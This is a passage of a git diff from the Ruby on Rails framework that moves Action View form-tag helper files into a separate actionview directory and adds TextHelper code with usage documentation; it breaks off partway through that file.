+++ b/actionview/lib/action_view/helpers/tags.rb
@@ -0,0 +1,41 @@
+module ActionView
+  module Helpers
+    module Tags #:nodoc:
+      extend ActiveSupport::Autoload
+
+      eager_autoload do
+        autoload :Base
+        autoload :CheckBox
+        autoload :CollectionCheckBoxes
+        autoload :CollectionRadioButtons
+        autoload :CollectionSelect
+        autoload :ColorField
+        autoload :DateField
+        autoload :DateSelect
+        autoload :DatetimeField
+        autoload :DatetimeLocalField
+        autoload :DatetimeSelect
+        autoload :EmailField
+        autoload :FileField
+        autoload :GroupedCollectionSelect
+        autoload :HiddenField
+        autoload :Label
+        autoload :MonthField
+        autoload :NumberField
+        autoload :PasswordField
+        autoload :RadioButton
+        autoload :RangeField
+        autoload :SearchField
+        autoload :Select
+        autoload :TelField
+        autoload :TextArea
+        autoload :TextField
+        autoload :TimeField
+        autoload :TimeSelect
+        autoload :TimeZoneSelect
+        autoload :UrlField
+        autoload :WeekField
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/base.rb b/actionview/lib/action_view/helpers/tags/base.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/tags/base.rb
rename to actionview/lib/action_view/helpers/tags/base.rb
diff --git a/actionpack/lib/action_view/helpers/tags/check_box.rb b/actionview/lib/action_view/helpers/tags/check_box.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/tags/check_box.rb
rename to actionview/lib/action_view/helpers/tags/check_box.rb
diff --git a/actionpack/lib/action_view/helpers/tags/checkable.rb b/actionview/lib/action_view/helpers/tags/checkable.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/tags/checkable.rb
rename to actionview/lib/action_view/helpers/tags/checkable.rb
diff --git a/actionview/lib/action_view/helpers/tags/collection_check_boxes.rb b/actionview/lib/action_view/helpers/tags/collection_check_boxes.rb
new file mode 100644
index 0000000..30d517b
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/collection_check_boxes.rb
@@ -0,0 +1,53 @@
+require 'action_view/helpers/tags/collection_helpers'
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class CollectionCheckBoxes < Base # :nodoc:
+        include CollectionHelpers
+
+        class CheckBoxBuilder < Builder # :nodoc:
+          def check_box(extra_html_options={})
+            html_options = extra_html_options.merge(@input_html_options)
+            @template_object.check_box(@object_name, @method_name, html_options, @value, nil)
+          end
+        end
+
+        def render(&block)
+          rendered_collection = render_collection do |item, value, text, default_html_options|
+            default_html_options[:multiple] = true
+            builder = instantiate_builder(CheckBoxBuilder, item, value, text, default_html_options)
+
+            if block_given?
+              @template_object.capture(builder, &block)
+            else
+              render_component(builder)
+            end
+          end
+
+          # Append a hidden field to make sure something will be sent back to the
+          # server if all check boxes are unchecked.
+          rendered_collection + hidden_field
+        end
+
+        private
+
+        def render_component(builder)
+          builder.check_box + builder.label
+        end
+
+        def hidden_field
+          hidden_name = @html_options[:name]
+
+          hidden_name ||= if @options.has_key?(:index)
+            "#{tag_name_with_index(@options[:index])}[]"
+          else
+            "#{tag_name}[]"
+          end
+
+          @template_object.hidden_field_tag(hidden_name, "", id: nil)
+        end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/collection_helpers.rb b/actionview/lib/action_view/helpers/tags/collection_helpers.rb
new file mode 100644
index 0000000..991f32c
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/collection_helpers.rb
@@ -0,0 +1,85 @@
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      module CollectionHelpers # :nodoc:
+        class Builder # :nodoc:
+          attr_reader :object, :text, :value
+
+          def initialize(template_object, object_name, method_name, object,
+                         sanitized_attribute_name, text, value, input_html_options)
+            @template_object = template_object
+            @object_name = object_name
+            @method_name = method_name
+            @object = object
+            @sanitized_attribute_name = sanitized_attribute_name
+            @text = text
+            @value = value
+            @input_html_options = input_html_options
+          end
+
+          def label(label_html_options={}, &block)
+            html_options = @input_html_options.slice(:index, :namespace).merge(label_html_options)
+            @template_object.label(@object_name, @sanitized_attribute_name, @text, html_options, &block)
+          end
+        end
+
+        def initialize(object_name, method_name, template_object, collection, value_method, text_method, options, html_options)
+          @collection   = collection
+          @value_method = value_method
+          @text_method  = text_method
+          @html_options = html_options
+
+          super(object_name, method_name, template_object, options)
+        end
+
+        private
+
+        def instantiate_builder(builder_class, item, value, text, html_options)
+          builder_class.new(@template_object, @object_name, @method_name, item,
+                            sanitize_attribute_name(value), text, value, html_options)
+        end
+
+        # Generate default options for collection helpers, such as :checked and
+        # :disabled.
+        def default_html_options_for_collection(item, value) #:nodoc:
+          html_options = @html_options.dup
+
+          [:checked, :selected, :disabled].each do |option|
+            current_value = @options[option]
+            next if current_value.nil?
+
+            accept = if current_value.respond_to?(:call)
+              current_value.call(item)
+            else
+              Array(current_value).map(&:to_s).include?(value.to_s)
+            end
+
+            if accept
+              html_options[option] = true
+            elsif option == :checked
+              html_options[option] = false
+            end
+          end
+
+          html_options[:object] = @object
+          html_options
+        end
+
+        def sanitize_attribute_name(value) #:nodoc:
+          "#{sanitized_method_name}_#{sanitized_value(value)}"
+        end
+
+        def render_collection #:nodoc:
+          @collection.map do |item|
+            value = value_for_collection(item, @value_method)
+            text  = value_for_collection(item, @text_method)
+            default_html_options = default_html_options_for_collection(item, value)
+            additional_html_options = option_html_attributes(item)
+
+            yield item, value, text, default_html_options.merge(additional_html_options)
+          end.join.html_safe
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/collection_radio_buttons.rb b/actionview/lib/action_view/helpers/tags/collection_radio_buttons.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/tags/collection_radio_buttons.rb
rename to actionview/lib/action_view/helpers/tags/collection_radio_buttons.rb
diff --git a/actionpack/lib/action_view/helpers/tags/collection_select.rb b/actionview/lib/action_view/helpers/tags/collection_select.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/tags/collection_select.rb
rename to actionview/lib/action_view/helpers/tags/collection_select.rb
diff --git a/actionview/lib/action_view/helpers/tags/color_field.rb b/actionview/lib/action_view/helpers/tags/color_field.rb
new file mode 100644
index 0000000..b4bbe92
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/color_field.rb
@@ -0,0 +1,25 @@
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class ColorField < TextField # :nodoc:
+        def render
+          options = @options.stringify_keys
+          options["value"] ||= validate_color_string(value(object))
+          @options = options
+          super
+        end
+
+        private
+
+          def validate_color_string(string)
+            regex = /#[0-9a-fA-F]{6}/
+            if regex.match(string)
+              string.downcase
+            else
+              "#000000"
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/date_field.rb b/actionview/lib/action_view/helpers/tags/date_field.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/tags/date_field.rb
rename to actionview/lib/action_view/helpers/tags/date_field.rb
diff --git a/actionpack/lib/action_view/helpers/tags/date_select.rb b/actionview/lib/action_view/helpers/tags/date_select.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/tags/date_select.rb
rename to actionview/lib/action_view/helpers/tags/date_select.rb
diff --git a/actionview/lib/action_view/helpers/tags/datetime_field.rb b/actionview/lib/action_view/helpers/tags/datetime_field.rb
new file mode 100644
index 0000000..25e7e05
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/datetime_field.rb
@@ -0,0 +1,22 @@
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class DatetimeField < TextField # :nodoc:
+        def render
+          options = @options.stringify_keys
+          options["value"] ||= format_date(value(object))
+          options["min"] = format_date(options["min"])
+          options["max"] = format_date(options["max"])
+          @options = options
+          super
+        end
+
+        private
+
+          def format_date(value)
+            value.try(:strftime, "%Y-%m-%dT%T.%L%z")
+          end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/datetime_local_field.rb b/actionview/lib/action_view/helpers/tags/datetime_local_field.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/tags/datetime_local_field.rb
rename to actionview/lib/action_view/helpers/tags/datetime_local_field.rb
diff --git a/actionpack/lib/action_view/helpers/tags/datetime_select.rb b/actionview/lib/action_view/helpers/tags/datetime_select.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/tags/datetime_select.rb
rename to actionview/lib/action_view/helpers/tags/datetime_select.rb
diff --git a/actionpack/lib/action_view/helpers/tags/email_field.rb b/actionview/lib/action_view/helpers/tags/email_field.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/tags/email_field.rb
rename to actionview/lib/action_view/helpers/tags/email_field.rb
diff --git a/actionpack/lib/action_view/helpers/tags/file_field.rb b/actionview/lib/action_view/helpers/tags/file_field.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/tags/file_field.rb
rename to actionview/lib/action_view/helpers/tags/file_field.rb
diff --git a/actionpack/lib/action_view/helpers/tags/grouped_collection_select.rb b/actionview/lib/action_view/helpers/tags/grouped_collection_select.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/tags/grouped_collection_select.rb
rename to actionview/lib/action_view/helpers/tags/grouped_collection_select.rb
diff --git a/actionpack/lib/action_view/helpers/tags/hidden_field.rb b/actionview/lib/action_view/helpers/tags/hidden_field.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/tags/hidden_field.rb
rename to actionview/lib/action_view/helpers/tags/hidden_field.rb
diff --git a/actionview/lib/action_view/helpers/tags/label.rb b/actionview/lib/action_view/helpers/tags/label.rb
new file mode 100644
index 0000000..6335e3d
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/label.rb
@@ -0,0 +1,65 @@
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class Label < Base # :nodoc:
+        def initialize(object_name, method_name, template_object, content_or_options = nil, options = nil)
+          options ||= {}
+
+          content_is_options = content_or_options.is_a?(Hash)
+          if content_is_options
+            options.merge! content_or_options
+            @content = nil
+          else
+            @content = content_or_options
+          end
+
+          super(object_name, method_name, template_object, options)
+        end
+
+        def render(&block)
+          options = @options.stringify_keys
+          tag_value = options.delete("value")
+          name_and_id = options.dup
+
+          if name_and_id["for"]
+            name_and_id["id"] = name_and_id["for"]
+          else
+            name_and_id.delete("id")
+          end
+
+          add_default_name_and_id_for_value(tag_value, name_and_id)
+          options.delete("index")
+          options.delete("namespace")
+          options["for"] = name_and_id["id"] unless options.key?("for")
+
+          if block_given?
+            content = @template_object.capture(&block)
+          else
+            content = if @content.blank?
+                        @object_name.gsub!(/\[(.*)_attributes\]\[\d+\]/, '.\1')
+                        method_and_value = tag_value.present? ? "#{@method_name}.#{tag_value}" : @method_name
+
+                        if object.respond_to?(:to_model)
+                          key = object.class.model_name.i18n_key
+                          i18n_default = ["#{key}.#{method_and_value}".to_sym, ""]
+                        end
+
+                        i18n_default ||= ""
+                        I18n.t("#{@object_name}.#{method_and_value}", :default => i18n_default, :scope => "helpers.label").presence
+                      else
+                        @content.to_s
+                      end
+
+            content ||= if object && object.class.respond_to?(:human_attribute_name)
+                          object.class.human_attribute_name(@method_name)
+                        end
+
+            content ||= @method_name.humanize
+          end
+
+          label_tag(name_and_id["id"], content, options)
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/month_field.rb b/actionview/lib/action_view/helpers/tags/month_field.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/tags/month_field.rb
rename to actionview/lib/action_view/helpers/tags/month_field.rb
diff --git a/actionpack/lib/action_view/helpers/tags/number_field.rb b/actionview/lib/action_view/helpers/tags/number_field.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/tags/number_field.rb
rename to actionview/lib/action_view/helpers/tags/number_field.rb
diff --git a/actionpack/lib/action_view/helpers/tags/password_field.rb b/actionview/lib/action_view/helpers/tags/password_field.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/tags/password_field.rb
rename to actionview/lib/action_view/helpers/tags/password_field.rb
diff --git a/actionpack/lib/action_view/helpers/tags/radio_button.rb b/actionview/lib/action_view/helpers/tags/radio_button.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/tags/radio_button.rb
rename to actionview/lib/action_view/helpers/tags/radio_button.rb
diff --git a/actionpack/lib/action_view/helpers/tags/range_field.rb b/actionview/lib/action_view/helpers/tags/range_field.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/tags/range_field.rb
rename to actionview/lib/action_view/helpers/tags/range_field.rb
diff --git a/actionpack/lib/action_view/helpers/tags/search_field.rb b/actionview/lib/action_view/helpers/tags/search_field.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/tags/search_field.rb
rename to actionview/lib/action_view/helpers/tags/search_field.rb
diff --git a/actionview/lib/action_view/helpers/tags/select.rb b/actionview/lib/action_view/helpers/tags/select.rb
new file mode 100644
index 0000000..00881d9
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/select.rb
@@ -0,0 +1,41 @@
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class Select < Base # :nodoc:
+        def initialize(object_name, method_name, template_object, choices, options, html_options)
+          @choices = block_given? ? template_object.capture { yield } : choices
+          @choices = @choices.to_a if @choices.is_a?(Range)
+
+          @html_options = html_options
+
+          super(object_name, method_name, template_object, options)
+        end
+
+        def render
+          option_tags_options = {
+            :selected => @options.fetch(:selected) { value(@object) },
+            :disabled => @options[:disabled]
+          }
+
+          option_tags = if grouped_choices?
+            grouped_options_for_select(@choices, option_tags_options)
+          else
+            options_for_select(@choices, option_tags_options)
+          end
+
+          select_content_tag(option_tags, @options, @html_options)
+        end
+
+        private
+
+        # Grouped choices look like this:
+        #
+        #   [nil, []]
+        #   { nil => [] }
+        def grouped_choices?
+          !@choices.empty? && @choices.first.respond_to?(:last) && Array === @choices.first.last
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/tel_field.rb b/actionview/lib/action_view/helpers/tags/tel_field.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/tags/tel_field.rb
rename to actionview/lib/action_view/helpers/tags/tel_field.rb
diff --git a/actionpack/lib/action_view/helpers/tags/text_area.rb b/actionview/lib/action_view/helpers/tags/text_area.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/tags/text_area.rb
rename to actionview/lib/action_view/helpers/tags/text_area.rb
diff --git a/actionpack/lib/action_view/helpers/tags/text_field.rb b/actionview/lib/action_view/helpers/tags/text_field.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/tags/text_field.rb
rename to actionview/lib/action_view/helpers/tags/text_field.rb
diff --git a/actionpack/lib/action_view/helpers/tags/time_field.rb b/actionview/lib/action_view/helpers/tags/time_field.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/tags/time_field.rb
rename to actionview/lib/action_view/helpers/tags/time_field.rb
diff --git a/actionpack/lib/action_view/helpers/tags/time_select.rb b/actionview/lib/action_view/helpers/tags/time_select.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/tags/time_select.rb
rename to actionview/lib/action_view/helpers/tags/time_select.rb
diff --git a/actionpack/lib/action_view/helpers/tags/time_zone_select.rb b/actionview/lib/action_view/helpers/tags/time_zone_select.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/tags/time_zone_select.rb
rename to actionview/lib/action_view/helpers/tags/time_zone_select.rb
diff --git a/actionpack/lib/action_view/helpers/tags/url_field.rb b/actionview/lib/action_view/helpers/tags/url_field.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/tags/url_field.rb
rename to actionview/lib/action_view/helpers/tags/url_field.rb
diff --git a/actionpack/lib/action_view/helpers/tags/week_field.rb b/actionview/lib/action_view/helpers/tags/week_field.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/tags/week_field.rb
rename to actionview/lib/action_view/helpers/tags/week_field.rb
diff --git a/actionview/lib/action_view/helpers/text_helper.rb b/actionview/lib/action_view/helpers/text_helper.rb
new file mode 100644
index 0000000..7cfbca5
--- /dev/null
+++ b/actionview/lib/action_view/helpers/text_helper.rb
@@ -0,0 +1,450 @@
+require 'active_support/core_ext/string/filters'
+require 'active_support/core_ext/array/extract_options'
+
+module ActionView
+  # = Action View Text Helpers
+  module Helpers #:nodoc:
+    # The TextHelper module provides a set of methods for filtering, formatting
+    # and transforming strings, which can reduce the amount of inline Ruby code in
+    # your views. These helper methods extend Action View making them callable
+    # within your template files.
+    #
+    # ==== Sanitization
+    #
+    # Most text helpers by default sanitize the given content, but do not escape it.
+    # This means HTML tags will appear in the page but all malicious code will be removed.
+    # Let's look at some examples using the +simple_format+ method:
+    #
+    #   simple_format('<a href="http://example.com/">Example</a>')
+    #   # => "<p><a href=\"http://example.com/\">Example</a></p>"
+    #
+    #   simple_format('<a href="javascript:alert(\'no!\')">Example</a>')
+    #   # => "<p><a>Example</a></p>"
+    #
+    # If you want to escape all content, you should invoke the +h+ method before
+    # calling the text helper.
+    #
+    #   simple_format h('<a href="http://example.com/">Example</a>')
+    #   # => "<p><a href=\"http://example.com/\">Example</a></p>"
+    module TextHelper
+      extend ActiveSupport::Concern
+
+      include SanitizeHelper
+      include TagHelper
+      include OutputSafetyHelper
+
+      # The preferred method of outputting text in your views is to use the
+      # <%= "text" %> eRuby syntax. The regular _puts_ and _print_ methods
+      # do not operate as expected in an eRuby code block. If you absolutely must
+      # output text within a non-output code block (i.e., <% %>), you can use the concat method.
+      #
+      #   <%
+      #       concat "hello"
+      #       # is the equivalent of <%= "hello" %>
+      #
+      #       if logged_in
+      #         concat "Logged in!"
+      #       else
+      #         concat link_to('login', action: :login)
+      #       end
+      #       # will either display "Logged in!" or a login link
+      #   %>
+      def concat(string)
+        output_buffer << string
+      end
+
+      def safe_concat(string)
+        output_buffer.respond_to?(:safe_concat) ? output_buffer.safe_concat(string) : concat(string)
+      end
+
+      # Truncates a given +text+ after a given <tt>:length</tt> if +text+ is longer than <tt>:length</tt>
+      # (defaults to 30). The last characters will be replaced with the <tt>:omission</tt> (defaults to "...")
+      # for a total length not exceeding <tt>:length</tt>.
+      #
+      # Pass a <tt>:separator</tt> to truncate +text+ at a natural break.
+      #
+      # Pass a block if you want to show extra content when the text is truncated.
+      #
+      # The result is marked as HTML-safe, but it is escaped by default, unless <tt>:escape</tt> is
+      # +false+. Care should be taken if +text+ contains HTML tags or entities, because truncation
+      # may produce invalid HTML (such as unbalanced or incomplete tags).
+      #
+      #   truncate("Once upon a time in a world far far away")
+      #   # => "Once upon a time in a world..."
+      #
+      #   truncate("Once upon a time in a world far far away", length: 17)
+      #   # => "Once upon a ti..."
+      #
+      #   truncate("Once upon a time in a world far far away", length: 17, separator: ' ')
+      #   # => "Once upon a..."
+      #
+      #   truncate("And they found that many people were sleeping better.", length: 25, omission: '... (continued)')
+      #   # => "And they f... (continued)"
+      #
+      #   truncate("<p>Once upon a time in a world far far away</p>")
+      #   # => "<p>Once upon a time in a wo..."
+      #
+      #   truncate("<p>Once upon a time in a world far far away</p>", escape: false)
+      #   # => "<p>Once upon a time in a wo..."
+      #
+      #   truncate("Once upon a time in a world far far away") { link_to "Continue", "#" }
+      #   # => "Once upon a time in a wo...<a href="#">Continue</a>"
+      def truncate(text, options = {}, &block)
+        if text
+          length  = options.fetch(:length, 30)
+
+          content = text.truncate(length, options)
+          content = options[:escape] == false ? content.html_safe : ERB::Util.html_escape(content)
+          content << capture(&block) if block_given? && text.length > length
+          content
+        end
+      end
+
+      # Highlights one or more +phrases+ everywhere in +text+ by inserting it into
+      # a <tt>:highlighter</tt> string. The highlighter can be specialized by passing <tt>:highlighter</tt>
+      # as a single-quoted string with <tt>\1</tt> where the phrase is to be inserted (defaults to
+      # '<mark>\1</mark>')
+      #
+      #   highlight('You searched for: rails', 'rails')
+      #   # => You searched for: <mark>rails</mark>
+      #
+      #   highlight('You searched for: ruby, rails, dhh', 'actionpack')
+      #   # => You searched for: ruby, rails, dhh
+      #
+      #   highlight('You searched for: rails', ['for', 'rails'], highlighter: '<em>\1</em>')
+      #   # => You searched <em>for</em>: <em>rails</em>
+      #
+      #   highlight('You searched for: rails', 'rails', highlighter: '<a href="search?q=\1">\1</a>')
+      #   # => You searched for: <a href="search?q=rails">rails</a>
+      def highlight(text, phrases, options = {})
+        text = sanitize(text) if options.fetch(:sanitize, true)
+
+        if text.blank? || phrases.blank?
+          text
+        else
+          highlighter = options.fetch(:highlighter, '<mark>\1</mark>')
+          match = Array(phrases).map { |p| Regexp.escape(p) }.join('|')
+          text.gsub(/(#{match})(?![^<]*?>)/i, highlighter)
+        end.html_safe
+      end
+
+      # Extracts an excerpt from +text+ that matches the first instance of +phrase+.
+      # The <tt>:radius</tt> option expands the excerpt on each side of the first occurrence of +phrase+ by the number of characters
+      # defined in <tt>:radius</tt> (which defaults to 100). If the excerpt radius overflows the beginning or end of the +text+,
+      # then the <tt>:omission</tt> option (which defaults to "...") will be prepended/appended accordingly. Use the
+      # <tt>:separator</tt> option to choose the delimitation. The resulting string will be stripped in any case. If the +phrase+
+      # isn't found, nil is returned.
+      #
+      #   excerpt('This is an example', 'an', radius: 5)
+      #   # => ...s is an exam...
+      #
+      #   excerpt('This is an example', 'is', radius: 5)
+      #   # => This is a...
+      #
+      #   excerpt('This is an example', 'is')
+      #   # => This is an example
+      #
+      #   excerpt('This next thing is an example', 'ex', radius: 2)
+      #   # => ...next...
+      #
+      #   excerpt('This is also an example', 'an', radius: 8, omission: '<chop> ')
+      #   # => <chop> is also an example
+      #
+      #   excerpt('This is a very beautiful morning', 'very', separator: ' ', radius: 1)
+      #   # => ...a very beautiful...
+      def excerpt(text, phrase, options = {})
+        return unless text && phrase
+
+        separator = options[:separator] || ''
+        phrase    = Regexp.escape(phrase)
+        regex     = /#{phrase}/i
+
+        return unless matches = text.match(regex)
+        phrase = matches[0]
+
+        unless separator.empty?
+          text.split(separator).each do |value|
+            if value.match(regex)
+              regex = phrase = value
+              break
+            end
+          end
+        end
+
+        first_part, second_part = text.split(regex, 2)
+
+        prefix, first_part   = cut_excerpt_part(:first, first_part, separator, options)
+        postfix, second_part = cut_excerpt_part(:second, second_part, separator, options)
+
+        affix = [first_part, separator, phrase, separator, second_part].join.strip
+        [prefix, affix, postfix].join
+      end
+
+      # Attempts to pluralize the +singular+ word unless +count+ is 1. If
+      # +plural+ is supplied, it will use that when count is > 1, otherwise
+      # it will use the Inflector to determine the plural form.
+      #
+      #   pluralize(1, 'person')
+      #   # => 1 person
+      #
+      #   pluralize(2, 'person')
+      #   # => 2 people
+      #
+      #   pluralize(3, 'person', 'users')
+      #   # => 3 users
+      #
+      #   pluralize(0, 'person')
+      #   # => 0 people
+      def pluralize(count, singular, plural = nil)
+        word = if (count == 1 || count =~ /^1(\.0+)?$/)
+          singular
+        else
+          plural || singular.pluralize
+        end
+
+        "#{count || 0} #{word}"
+      end
+
+      # Wraps the +text+ into lines no longer than +line_width+ width. This method
+      # breaks on the first whitespace character that does not exceed +line_width+
+      # (which is 80 by default).
+      #
+      #   word_wrap('Once upon a time')
+      #   # => Once upon a time
+      #
+      #   word_wrap('Once upon a time, in a kingdom called Far Far Away, a king fell ill, and finding a successor to the throne turned out to be more trouble than anyone could have imagined...')
+      #   # => Once upon a time, in a kingdom called Far Far Away, a king fell ill, and finding\na successor to the throne turned out to be more trouble than anyone could have\nimagined...
+      #
+      #   word_wrap('Once upon a time', line_width: 8)
+      #   # => Once\nupon a\ntime
+      #
+      #   word_wrap('Once upon a time', line_width: 1)
+      #   # => Once\nupon\na\ntime
+      def word_wrap(text, options = {})
+        line_width = options.fetch(:line_width, 80)
+
+        text.split("\n").collect! do |line|
+          line.length > line_width ? line.gsub(/(.{1,#{line_width}})(\s+|$)/, "\\1\n").strip : line
+        end * "\n"
+      end
+
+      # Returns +text+ transformed into HTML using simple formatting rules.
+      # Two or more consecutive newlines(<tt>\n\n</tt>) are considered as a
+      # paragraph and wrapped in <tt><p></tt> tags. One newline (<tt>\n</tt>) is
+      # considered as a linebreak and a <tt><br /></tt> tag is appended. This
+      # method does not remove the newlines from the +text+.
+      #
+      # You can pass any HTML attributes into <tt>html_options</tt>. These
+      # will be added to all created paragraphs.
+      #
+      # ==== Options
+      # * <tt>:sanitize</tt> - If +false+, does not sanitize +text+.
+      # * <tt>:wrapper_tag</tt> - String representing the wrapper tag, defaults to <tt>"p"</tt>
+      #
+      # ==== Examples
+      #   my_text = "Here is some basic text...\n...with a line break."
+      #
+      #   simple_format(my_text)
+      #   # => "<p>Here is some basic text...\n<br />...with a line break.</p>"
+      #
+      #   simple_format(my_text, {}, wrapper_tag: "div")
+      #   # => "<div>Here is some basic text...\n<br />...with a line break.</div>"
+      #
+      #   more_text = "We want to put a paragraph...\n\n...right there."
+      #
+      #   simple_format(more_text)
+      #   # => "<p>We want to put a paragraph...</p>\n\n<p>...right there.</p>"
+      #
+      #   simple_format("Look ma! A class!", class: 'description')
+      #   # => "<p class='description'>Look ma! A class!</p>"
+      #
+      #   simple_format("<blink>Unblinkable.</blink>")
+      #   # => "<p>Unblinkable.</p>"
+      #
+      #   simple_format("<blink>Blinkable!</blink> It's true.", {}, sanitize: false)
+      #   # => "<p><blink>Blinkable!</blink> It's true.</p>"
+      def simple_format(text, html_options = {}, options = {})
+        wrapper_tag = options.fetch(:wrapper_tag, :p)
+
+        text = sanitize(text) if options.fetch(:sanitize, true)
+        paragraphs = split_paragraphs(text)
+
+        if paragraphs.empty?
+          content_tag(wrapper_tag, nil, html_options)
+        else
+          paragraphs.map! { |paragraph|
+            content_tag(wrapper_tag, raw(paragraph), html_options)
+          }.join("\n\n").html_safe
+        end
+      end
+
+      # Creates a Cycle object whose _to_s_ method cycles through elements of an
+      # array every time it is called. This can be used for example, to alternate
+      # classes for table rows. You can use named cycles to allow nesting in loops.
+      # Passing a Hash as the last parameter with a <tt>:name</tt> key will create a
+      # named cycle. The default name for a cycle without a +:name+ key is
+      # <tt>"default"</tt>. You can manually reset a cycle by calling reset_cycle
+      # and passing the name of the cycle. The current cycle string can be obtained
+      # anytime using the current_cycle method.
+      #
+      #   # Alternate CSS classes for even and odd numbers...
+      #   @items = [1,2,3,4]
+      #   <table>
+      #   <% @items.each do |item| %>
+      #     <tr class="<%= cycle("odd", "even") -%>">
+      #       <td>item</td>
+      #     </tr>
+      #   <% end %>
+      #   </table>
+      #
+      #
+      #   # Cycle CSS classes for rows, and text colors for values within each row
+      #   @items = x = [{first: 'Robert', middle: 'Daniel', last: 'James'},
+      #                {first: 'Emily', middle: 'Shannon', maiden: 'Pike', last: 'Hicks'},
+      #               {first: 'June', middle: 'Dae', last: 'Jones'}]
+      #   <% @items.each do |item| %>
+      #     <tr class="<%= cycle("odd", "even", name: "row_class") -%>">
+      #       <td>
+      #         <% item.values.each do |value| %>
+      #           <%# Create a named cycle "colors" %>
+      #           <span style="color:<%= cycle("red", "green", "blue", name: "colors") -%>">
+      #             <%= value %>
+      #           </span>
+      #         <% end %>
+      #         <% reset_cycle("colors") %>
+      #       </td>
+      #    </tr>
+      #  <% end %>
+      def cycle(first_value, *values)
+        options = values.extract_options!
+        name = options.fetch(:name, 'default')
+
+        values.unshift(*first_value)
+
+        cycle = get_cycle(name)
+        unless cycle && cycle.values == values
+          cycle = set_cycle(name, Cycle.new(*values))
+        end
+        cycle.to_s
+      end
+
+      # Returns the current cycle string after a cycle has been started. Useful
+      # for complex table highlighting or any other design need which requires
+      # the current cycle string in more than one place.
+      #
+      #   # Alternate background colors
+      #   @items = [1,2,3,4]
+      #   <% @items.each do |item| %>
+      #     <div style="background-color:<%= cycle("red","white","blue") %>">
+      #       <span style="background-color:<%= current_cycle %>"><%= item %></span>
+      #     </div>
+      #   <% end %>
+      def current_cycle(name = "default")
+        cycle = get_cycle(name)
+        cycle.current_value if cycle
+      end
+
+      # Resets a cycle so that it starts from the first element the next time
+      # it is called. Pass in +name+ to reset a named cycle.
+      #
+      #   # Alternate CSS classes for even and odd numbers...
+      #   @items = [[1,2,3,4], [5,6,3], [3,4,5,6,7,4]]
+      #   <table>
+      #   <% @items.each do |item| %>
+      #     <tr class="<%= cycle("even", "odd") -%>">
+      #         <% item.each do |value| %>
+      #           <span style="color:<%= cycle("#333", "#666", "#999", name: "colors") -%>">
+      #             <%= value %>
+      #           </span>
+      #         <% end %>
+      #
+      #         <% reset_cycle("colors") %>
+      #     </tr>
+      #   <% end %>
+      #   </table>
+      def reset_cycle(name = "default")
+        cycle = get_cycle(name)
+        cycle.reset if cycle
+      end
+
+      class Cycle #:nodoc:
+        attr_reader :values
+
+        def initialize(first_value, *values)
+          @values = values.unshift(first_value)
+          reset
+        end
+
+        def reset
+          @index = 0
+        end
+
+        def current_value
+          @values[previous_index].to_s
+        end
+
+        def to_s
+          value = @values[@index].to_s
+          @index = next_index
+          return value
+        end
+
+        private
+
+        def next_index
+          step_index(1)
+        end
+
+        def previous_index
+          step_index(-1)
+        end
+
+        def step_index(n)
+          (@index + n) % @values.size
+        end
+      end
+
+      private
+        # The cycle helpers need to store the cycles in a place that is
+        # guaranteed to be reset every time a page is rendered, so it
+        # uses an instance variable of ActionView::Base.
+        def get_cycle(name)
+          @_cycles = Hash.new unless defined?(@_cycles)
+          return @_cycles[name]
+        end
+
+        def set_cycle(name, cycle_object)
+          @_cycles = Hash.new unless defined?(@_cycles)
+          @_cycles[name] = cycle_object
+        end
+
+        def split_paragraphs(text)
+          return [] if text.blank?
+
+          text.to_str.gsub(/\r\n?/, "\n").split(/\n\n+/).map! do |t|
+            t.gsub!(/([^\n]\n)(?=[^\n])/, '\1<br />') || t
+          end
+        end
+
+        def cut_excerpt_part(part_position, part, separator, options)
+          return "", "" unless part
+
+          radius   = options.fetch(:radius, 100)
+          omission = options.fetch(:omission, "...")
+
+          part = part.split(separator)
+          part.delete("")
+          affix = part.size > radius ? omission : ""
+
